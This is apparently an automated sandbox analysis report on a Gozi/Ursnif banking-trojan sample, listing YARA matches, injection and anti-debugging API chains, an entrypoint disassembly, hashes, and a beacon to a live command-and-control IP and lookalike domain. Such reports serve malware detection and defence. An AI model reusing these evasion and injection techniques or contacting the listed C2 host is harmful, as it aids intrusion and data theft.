Source: 00000000.00000003.384425288.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000003.384568130.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000003.384568130.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000003.384610353.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000003.384610353.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000002.511485713.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000002.511485713.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000003.384466253.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000003.384466253.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000003.384373909.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000003.384373909.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000003.384538617.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000003.384538617.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000003.384591559.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000003.384591559.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000003.384627029.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000000.00000003.384627029.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: Process Memory Space: sadf.exe PID: 4968, type: MEMORYSTR	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: Process Memory Space: sadf.exe PID: 4968, type: MEMORYSTR	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\sadf.exe	Code function: 0_2_008C82FC
Source: C:\Users\user\Desktop\sadf.exe	Code function: 0_2_008C2792
Source: C:\Users\user\Desktop\sadf.exe	Code function: 0_2_008C2DCC

Source: C:\Users\user\Desktop\sadf.exe	Code function: 0_2_00401493 NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,CreateThread,QueueUserAPC,CloseHandle,GetLastError,TerminateThread,CloseHandle,SetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,
Source: C:\Users\user\Desktop\sadf.exe	Code function: 0_2_00401D95 GetProcAddress,NtCreateSection,memset,
Source: C:\Users\user\Desktop\sadf.exe	Code function: 0_2_00401F78 NtMapViewOfSection,
Source: C:\Users\user\Desktop\sadf.exe	Code function: 0_2_008C737C NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,
Source: C:\Users\user\Desktop\sadf.exe	Code function: 0_2_008C8521 NtQueryVirtualMemory,

Source: sadf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: sadf.exe

ReversingLabs: Detection: 88%

Source: sadf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\sadf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\user\Desktop\sadf.exe

Code function: 0_2_008C7256 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

Source: C:\Users\user\Desktop\sadf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\sadf.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\sadf.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\sadf.exe	Code function: 0_2_008C82EB push ecx; ret
Source: C:\Users\user\Desktop\sadf.exe	Code function: 0_2_008CB859 push 0000006Fh; retf
Source: C:\Users\user\Desktop\sadf.exe	Code function: 0_2_008C7F00 push ecx; ret

Source: C:\Users\user\Desktop\sadf.exe

Code function: 0_2_0040134F LoadLibraryA,GetProcAddress,

Hooking and other Techniques for Hiding and Protection

Yara detected Ursnif

Source: Yara match	File source: 0.2.sadf.exe.8c0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.sadf.exe.e194a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.511376097.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\sadf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\sadf.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking system information)

Source: C:\Users\user\Desktop\sadf.exe

Evasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep

Source: C:\Users\user\Desktop\sadf.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Users\user\Desktop\sadf.exe

API call chain: ExitProcess graph end node

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\sadf.exe

Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep

Source: C:\Users\user\Desktop\sadf.exe

Code function: 0_2_0040134F LoadLibraryA,GetProcAddress,

Source: C:\Users\user\Desktop\sadf.exe

Code function: NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,CreateThread,QueueUserAPC,CloseHandle,GetLastError,TerminateThread,CloseHandle,SetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,

Source: C:\Users\user\Desktop\sadf.exe

Code function: 0_2_008C54EC cpuid

Source: C:\Users\user\Desktop\sadf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\Desktop\sadf.exe

Code function: 0_2_004012B0 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

Source: C:\Users\user\Desktop\sadf.exe

Code function: 0_2_00401A49 GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,

Source: C:\Users\user\Desktop\sadf.exe

Code function: 0_2_008C54EC RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

Stealing of Sensitive Information

Yara detected Ursnif

Source: Yara match	File source: 0.2.sadf.exe.8c0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.sadf.exe.e194a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.511376097.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Ursnif

Source: Yara match	File source: 0.2.sadf.exe.8c0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.sadf.exe.e194a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.511376097.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Windows Management Instrumentation	Path Interception	Path Interception	1 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	2 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	12 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Obfuscated Files or Information	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	2 Software Packing	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	12 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Account Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	124 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
sadf.exe	88%	ReversingLabs	Win32.Infostealer.Gozi
sadf.exe	100%	Avira	TR/Crypt.XPACK.Gen7
sadf.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.0.sadf.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen7	Download File
0.2.sadf.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen7	Download File
0.2.sadf.exe.8c0000.1.unpack	100%	Avira	HEUR/AGEN.1245293	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://45.8.1	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
trackingg-protectioon.cdn1.mozilla.net	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://45.8.1	sadf.exe, 00000000.00000002.511247920.00000000009FC000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.8.158.104	unknown	Russian Federation		49392	ASBAXETNRU	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	717378
Start date and time:	2022-10-06 12:27:44 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 42s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	sadf.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 46% (good quality ratio 44.1%) Quality average: 82.4% Quality standard deviation: 26.9%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: sadf.exe

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.519548477170318
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	sadf.exe
File size:	37888
MD5:	76ebba129360ad5093f0fe66910eb06d
SHA1:	a0297ed108f534539bda64c7c0df0caefc18ec09
SHA256:	f8388847ebddbc0c6db43ede0ee839fa304fc4786d4a7c8285eb746a5a2ee711
SHA512:	b752d9d3e9fab50b1f1a4b3cfe565dc5c0bd1a909abe0b88ae5ee99c241280dace99ee33a6cc5bf2447bbb11975fb6e45b835c380555fb31fa5b15f7d4948bdc
SSDEEP:	768:LQLm41fM01vA4yRzFiCRn7IYbo7gMaBMOF6c629ptoj:LL41fMSv1AnRnFLMaMOF6c6YK
TLSH:	C203E0137B642D3EF6C305393E12E20147990175873FE1EA07B3642D9922EDB55AF786
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y..+...x...x...x..lx...x...xQ..x...x...x..vx...x..kx...x..nx...xRich...x........PE..L.....%c............................/......

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x40182f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x632596C9 [Sat Sep 17 09:43:37 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	1640d668d1471f340cbe565fe63522f6

Entrypoint Preview

Instruction
push esi
xor esi, esi
push esi
push 00400000h
push esi
call dword ptr [0040203Ch]
mov dword ptr [00403160h], eax
cmp eax, esi
je 00007FBD28CB62A7h
push esi
call dword ptr [00402008h]
mov dword ptr [00403170h], eax
call dword ptr [00402044h]
call 00007FBD28CB5EB9h
push dword ptr [00403160h]
mov esi, eax
call dword ptr [00402040h]
push esi
call dword ptr [00402048h]
pop esi
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, eax
mov eax, dword ptr [00403180h]
mov ecx, dword ptr [esi+3Ch]
mov ecx, dword ptr [ecx+esi+50h]
lea edx, dword ptr [eax-69B24F45h]
not edx
lea ecx, dword ptr [ecx+eax-69B24F45h]
push edi
and ecx, edx
lea edx, dword ptr [ebp-08h]
push edx
lea edx, dword ptr [ebp-04h]
push edx
add eax, 964DA0FCh
push eax
push ecx
call 00007FBD28CB650Dh
test eax, eax
jne 00007FBD28CB62DCh
mov edi, dword ptr [ebp-04h]
push esi
push edi
call 00007FBD28CB65E3h
mov ebx, eax
test ebx, ebx
jne 00007FBD28CB62B8h
mov esi, dword ptr [edi+3Ch]
add esi, edi
push esi
call 00007FBD28CB5D04h
mov ebx, eax
test ebx, ebx
jne 00007FBD28CB62A7h
push edi
mov eax, esi
call 00007FBD28CB67E4h
mov ebx, eax
test ebx, ebx
jne 00007FBD28CB6299h
mov esi, dword ptr [esi+28h]
push eax
push 00000001h
add esi, edi
push edi
call esi
test eax, eax
jne 00007FBD28CB628Ah
call dword ptr [0000202Ch]

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x20e8	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5000	0x10	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6000	0xd8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0xa8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1000	0x1000	False	0.718017578125	data	6.515539058364033	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x4c0	0x600	False	0.4635416666666667	data	4.488955985688776	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x194	0x200	False	0.056640625	data	0.12227588125913882	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x4000	0x2dc	0x400	False	0.7607421875	data	6.3016514258390215	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5000	0x10	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6000	0x8000	0x7200	False	0.9710457785087719	data	7.859639070268769	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Imports

DLL	Import
ntdll.dll	_snwprintf, memset, NtQuerySystemInformation, _aulldiv
KERNEL32.dll	GetModuleHandleA, GetLocaleInfoA, GetSystemDefaultUILanguage, HeapAlloc, HeapFree, WaitForSingleObject, Sleep, ExitThread, lstrlenW, GetLastError, VerLanguageNameA, GetExitCodeThread, CloseHandle, HeapCreate, HeapDestroy, GetCommandLineW, ExitProcess, SetLastError, TerminateThread, SleepEx, GetModuleFileNameW, CreateThread, OpenProcess, CreateEventA, GetLongPathNameW, GetVersion, GetCurrentProcessId, GetProcAddress, LoadLibraryA, VirtualProtect, MapViewOfFile, GetSystemTimeAsFileTime, CreateFileMappingW, QueueUserAPC
ADVAPI32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorA

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.345.8.158.10449704802033204 10/06/22-12:30:02.562975	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49704	80	192.168.2.3	45.8.158.104

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 6, 2022 12:30:02.467928886 CEST	49704	80	192.168.2.3	45.8.158.104
Oct 6, 2022 12:30:02.562129974 CEST	80	49704	45.8.158.104	192.168.2.3
Oct 6, 2022 12:30:02.562357903 CEST	49704	80	192.168.2.3	45.8.158.104
Oct 6, 2022 12:30:02.562974930 CEST	49704	80	192.168.2.3	45.8.158.104
Oct 6, 2022 12:30:02.657660007 CEST	80	49704	45.8.158.104	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 6, 2022 12:28:42.239211082 CEST	58921	53	192.168.2.3	8.8.8.8
Oct 6, 2022 12:28:42.260540962 CEST	53	58921	8.8.8.8	192.168.2.3

DNS Queries

